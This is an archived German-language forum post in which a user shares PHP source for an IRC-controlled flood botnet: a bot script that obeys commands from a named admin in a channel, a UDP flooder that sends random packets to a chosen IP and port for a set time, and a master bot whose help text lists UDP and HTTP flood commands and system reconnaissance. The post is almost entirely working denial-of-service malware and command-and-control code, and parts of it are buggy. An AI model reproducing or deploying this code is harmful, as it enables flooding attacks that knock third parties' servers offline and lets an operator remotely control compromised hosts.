PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : floodbot für server



nexos
28.02.2008, 17:26
Mein aktuelles Projekt, ein irc-floodbot für server in php
ist eigentlich nur ein überungsprojekt und zum einsatz nicht besonders geeignet, weil das wohl jedem blinden server admin auffällt xD da ist ein perl bot viel bessern, aber ich hasse die syntx :-(((
hinzu kommt, dass ich teilweise schlampig gecodet habe, d.h. ziemlich verbuggt und der code ist manchmal auch nicht besonders schön zu lesen :-/

main.php und udp.php müssen beide im gleichen verzeichnis liegen und sind unbedingt nötig
masterbot.php kann auch von localhost aus gestartet werden, er floodet nicht, er informiert nur

main.php:

<?php
//coded by nexos icq: 437851
//----------------------------------CONFIG--------------------------------------//
//-----------------------------------START--------------------------------------//

$server = "ircd.hopto.org";
$port = 6667;
//$serverpasswd = ""; //not yet implented //if no pass: leave empty

$chan = "yourchan";
$chanpass = ""; //if no pass: leave emtpy

$botid = rand(1000000,9999999); //shouldnt be edited
$nickprefix = "nbot|";
$nick = $nickprefix.$botid."\n";
$user = "USER blabla owning.com XY :XY bot\n";

$cmdprefix = "*";
$admin = "nexos"; //bot is only accepting cmds from admin



//-----------------------------------END----------------------------------------//
//----------------------------------CONFIG--------------------------------------//


//-----------------------------------MISC---------------------------------------//

// Prevent PHP from stopping the script after 30 sec (if safe mode off)
set_time_limit(0);

//---------------------------------CONNECTION-----------------------------------//

while (true)
{

$socket = fsockopen($server, $port);

while ( !$socket )
{
Sleep(30);
$socket = fsockopen($server, $port);
}


$nick = "NICK ".$nick;
fputs($socket, $user);
fputs($socket, $nick);

usleep(300);

fputs($socket,"JOIN $chan $chanpass\n");


while(true)
{

while($data = fgets($socket, 512))
{

echo nl2br($data);
flush();

$ex = explode(' ', $data);

if($ex[0] == "PING")
{
fputs($socket, "PONG ".$ex[1]."\n");
}

$command = str_replace(array(chr(10), chr(13)), '', $ex[3]);
$sendernick = explode('!', substr($data, 1 , strlen($$data)-2));


if ( $sendernick[0] == $admin )
{
//---------------------------------FUNCTIONS------------------------------------//

switch ( $command ) {

//------------------------------------UDP---------------------------------------//

case ":".$cmdprefix."udp":

$udpsocket = fsockopen("udp://$ex[4]", $ex[5], $errno, $errstr);

if (!$udpsocket)
{
fputs($socket, "PRIVMSG ".$chan." :couldn't connect\n");

fclose($udpsocket);
}

else
{
fclose($udpsocket);

system("php udp.php ".$ex[4]." ".$ex[5]." ".$ex[6]);
}

break;

//-------------------------------------HTTP------------------------------------//

case ":".$cmdprefix."http":

break;

//----------------------------------BENCHMARK--------------------------------------//

case ":".$cmdprefix."benchmark":

$time_startbench = time(true);
$time_differencebench = 0;

$secondsbench = 3;

$udpsocketbench = fsockopen("udp://google.com", 80, $errno, $errstr);

if (!$udpsocketbench)
{
fputs($socket, "PRIVMSG ".$chan." :couldn't connect\n");
}
else
{
$i = 0;

while ( $time_differencebench <= $secondsbench )
{
$crap = rand(10000,100000);
fwrite($udpsocket, $crap);
$time_nowbench = time(true);
$time_differencebench = $time_nowbench - $time_startbench;
$i++;
}

$i = round ( $i / 3, 0 );

fputs($socket, "PRIVMSG ".$chan." :benchmark result: $i pakets per second\n");
}

fclose($udpsocket);

break;

//--------------------------------UPTIME-----------------------------------------//

case ":".$cmdprefix."uptime":

fputs($socket, "PRIVMSG ".$chan." :".system("uptime")."\n");

break;

//---------------------------------WHOAMI---------------------------------------//

case ":".$cmdprefix."whoami":

fputs($socket, "PRIVMSG ".$chan." :".system("whoami")."\n");

break;
//----------------------------------UNAME--------------------------------------//

case ":".$cmdprefix."uname":

fputs($socket, "PRIVMSG ".$chan." :".system("uname -a")."\n");

break;

//--------------------------------QUIT----------------------------------------//

case ":".$cmdprefix."quit":

die();

break;

//---------------------------------QUITID-------------------------------------//


case ":".$cmdprefix."quitid":

if ( $ex[4] == $botid )
{die();}

break;

//---------------------------------QUITID-------------------------------------//

case ":".$cmdprefix."quitbot":

die();

break;
//---------------------------------------CMD------------------------------------//

case ":".$cmdprefix."cmd":

fputs($socket, "PRIVMSG ".$chan." : not ready\n");

break;

//------------------------------------------------------------------------------//
//------------------------------------------------------------------------------//

}
}
}
usleep(10);
}
}
?>

udp.php

<?php
//coded by nexos icq: 437851
$arguments = $_SERVER['argv'];

$time_start = time(true);
$time_later;
$time_difference;

$target = $arguments[1];
$port = $arguments[2];
$seconds = $arguments[3];

$udpsocket = fsockopen("udp://$target", $port, $errno, $errstr);

if (!$udpsocket)
{
die();
}
else
{
while ( $time_difference <= $seconds )
{
$crap = rand(10000,100000).rand(10000,100000).rand(10000,1 00000).rand(10000,100000).rand(10000,100000).rand( 10000,100000);
fwrite($udpsocket, $crap);
$time_now = time(true);
$time_difference = $time_now - $time_start;
}
}
fclose($udpsocket);
?>

masterbot.php:


<?php
//coded by nexos icq: 437851
//----------------------------------CONFIG--------------------------------------//
//-----------------------------------START--------------------------------------//
//MASTERBOT

$server = "ircd.hopto.org";
$port = 6667;
//$serverpasswd = ""; //not yet implented //if no pass: leave empty

$chan = "#yourchan";
$chanpass = "l"; //if no pass: leave emtpy

$botid = rand(100,999); //shouldnt be edited
$nickprefix = "nbot";
$nick = $nickprefix."|master|".$botid."\n";
$user = "USER blabla owning.com XY :XY bot\n";

$cmdprefix = "*";
$admin = "nexos"; //bot is only accepting cmds from admin



//-----------------------------------END----------------------------------------//
//----------------------------------CONFIG--------------------------------------//


//-----------------------------------MISC---------------------------------------//

// Prevent PHP from stopping the script after 30 sec (if safe mode off)
set_time_limit(0);

//---------------------------------CONNECTION-----------------------------------//

while (true)
{

$socket = fsockopen($server, $port);

while ( !$socket )
{
Sleep(30);
$socket = fsockopen($server, $port);
}


$nick = "NICK ".$nick;
fputs($socket, $user);
fputs($socket, $nick);

usleep(300);

fputs($socket,"JOIN $chan $chanpass\n");


while(true)
{

while($data = fgets($socket, 512))
{

echo nl2br($data);
flush();

$ex = explode(' ', $data);

if($ex[0] == "PING")
{
fputs($socket, "PONG ".$ex[1]."\n");
}

$command = str_replace(array(chr(10), chr(13)), '', $ex[3]);
$sendernick = explode('!', substr($data, 1 , strlen($$data)-2));


if ( $sendernick[0] == $admin )
{
//---------------------------------FUNCTIONS------------------------------------//

switch ( $command ) {

//------------------------------------UDP---------------------------------------//

case ":".$cmdprefix."udp":

fputs($socket, "PRIVMSG ".$chan." :'starting udp-flood\n");

$time_start = time(true);
$time_later;
$time_difference;

ping($ex[6],$socket,$time_start,$time_difference);

fputs($socket, "PRIVMSG ".$chan." :'udp-flood finished\n");

break;

//-------------------------------------HTTP------------------------------------//

case ":".$cmdprefix."http":

fputs($socket, "PRIVMSG ".$chan." :'starting http-flood\n");

$time_start = time(true);
$time_later;
$time_difference;

ping($ex[5],$socket,$time_start,$time_difference);

fputs($socket, "PRIVMSG ".$chan." :'http-flood finished\n");

break;

//----------------------------------BENCHMARK--------------------------------------//

case ":".$cmdprefix."benchmark":

fputs($socket, "PRIVMSG ".$chan." :'benchmark started\n");
Sleep(3);
fputs($socket, "PRIVMSG ".$chan." :'benchmark finished\n");

break;

//--------------------------------QUIT----------------------------------------//

case ":".$cmdprefix."quit":

die();

break;

//-------------------------------QUITMASTER-----------------------------------//


case ":".$cmdprefix."quitmaster":

die();

break;

//-------------------------------QUITID---------------------------------------//


case ":".$cmdprefix."quitid":

if ( $ex[4] == $botid )
{die();}

break;
//------------------------------------INFO------------------------------------//

case ":".$cmdprefix."info":

fputs($socket, "PRIVMSG ".$chan." :Nbot by Nexos\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." :-------------------------\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." :=========Commands========\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." :-----------flood---------\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *http [url] [time] -traffic flood, time in seconds\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *udp [ip/host] [port] [time] -send udp pakets, time in seconds\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." :------------misc---------\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *quit -all bots quit\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *quitmaster -master-bots quit\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *quitbot -all normal bots quit\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *quitid [id] -only [id] quits\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *cmd [command] -execute cmd\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *uptime -show server uptime\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *whoami -show current user\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *uname -server info\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *benchmark -do a benchmark\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." : *info -show this\n");
usleep(800);
fputs($socket, "PRIVMSG ".$chan." :-------------------------\n");
usleep(500);

break;

//------------------------------------------------------------------------------//
//------------------------------------------------------------------------------//

}
}
}
usleep(10);
}
}


function ping($seconds,$socket,$time_start,$time_difference )
{

while( $time_difference <= $seconds)
{
$data = fgets($socket, 1);

echo nl2br($data);
flush();

$ex = explode(' ', $data);

if($ex[0] == "PING")
{
fputs($socket, "PONG ".$ex[1]."\n");
}
$time_now = time(true);
$time_difference = $time_now - $time_start;
}

return true;
}
?>